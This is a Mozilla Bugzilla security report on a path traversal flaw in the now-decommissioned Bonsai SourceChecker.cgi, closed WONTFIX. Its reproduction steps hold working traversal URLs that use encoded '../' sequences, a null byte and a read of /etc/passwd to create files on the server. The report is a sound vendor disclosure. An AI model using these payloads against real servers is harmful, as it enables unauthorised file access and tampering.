Closed Bug 655856 Opened 14 years ago Closed 9 years ago

bonsai sourcechecker.cgi arbitrary file creation

Categories

(Webtools Graveyard :: Bonsai, defect)

defect
Not set
major

Tracking

(Not tracked)

RESOLVED WONTFIX

People

(Reporter: dchanm+bugzilla, Assigned: laura)

References

()

Details

(Keywords: sec-critical, Whiteboard: [infrasec:osinject][ws:critical?] critical if files can be overwritten)

Input passed to SourceChecker.cgi is not properly sanitized which allows attackers to create arbitrary files on the server. I'm not sure what the behavior is if an existing file is passed to dbmopen STR 1. Visit http://bonsai-www.mozilla.org/cvslog.cgi?file=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2f<FILENAME>%00 Replace <FILENAME> with the desired name 2. You should get an error "tmp/<FILENAME>, does not exist." 3. Visit http://bonsai-www.mozilla.org/SourceChecker.cgi?dictionary=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2ftmp%2f<FILENAME>&ignore_english=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd 4. Revist the link in step 1 5. You should get a different error "Unexpected EOF at cvsblame.pl line 133." It may be possible to insert arbitrary data into the dictionary file using data from the ignore_english file. ignore_strings, flag_strings and ignore_names are other params that can be used as sources Recommended remediation Sanitize paths provided to the application.
Laura, Can we get this into someone's queue to address the issue?
Assignee: nobody → laura
bonsai was decom'ed in bug 1157907
There are a bunch of open Bonsai bugs, advisory + close all wontfix is prob the best solution https://bugzilla.mozilla.org/buglist.cgi?component=Bonsai&product=Webtools&bug_status=__open__&list_id=13018520 If it's not Cloud Services let me know and I'll chase down who the right people would be.
Flags: needinfo?(jvehent)
Bonsai was decommissioned, closing all remaining bugs "wontfix"
Group: webtools-security
Status: NEW → RESOLVED
Closed: 9 years ago
Resolution: --- → WONTFIX
Flags: needinfo?(jvehent)
Product: Webtools → Webtools Graveyard
You need to log in before you can comment on or make changes to this bug.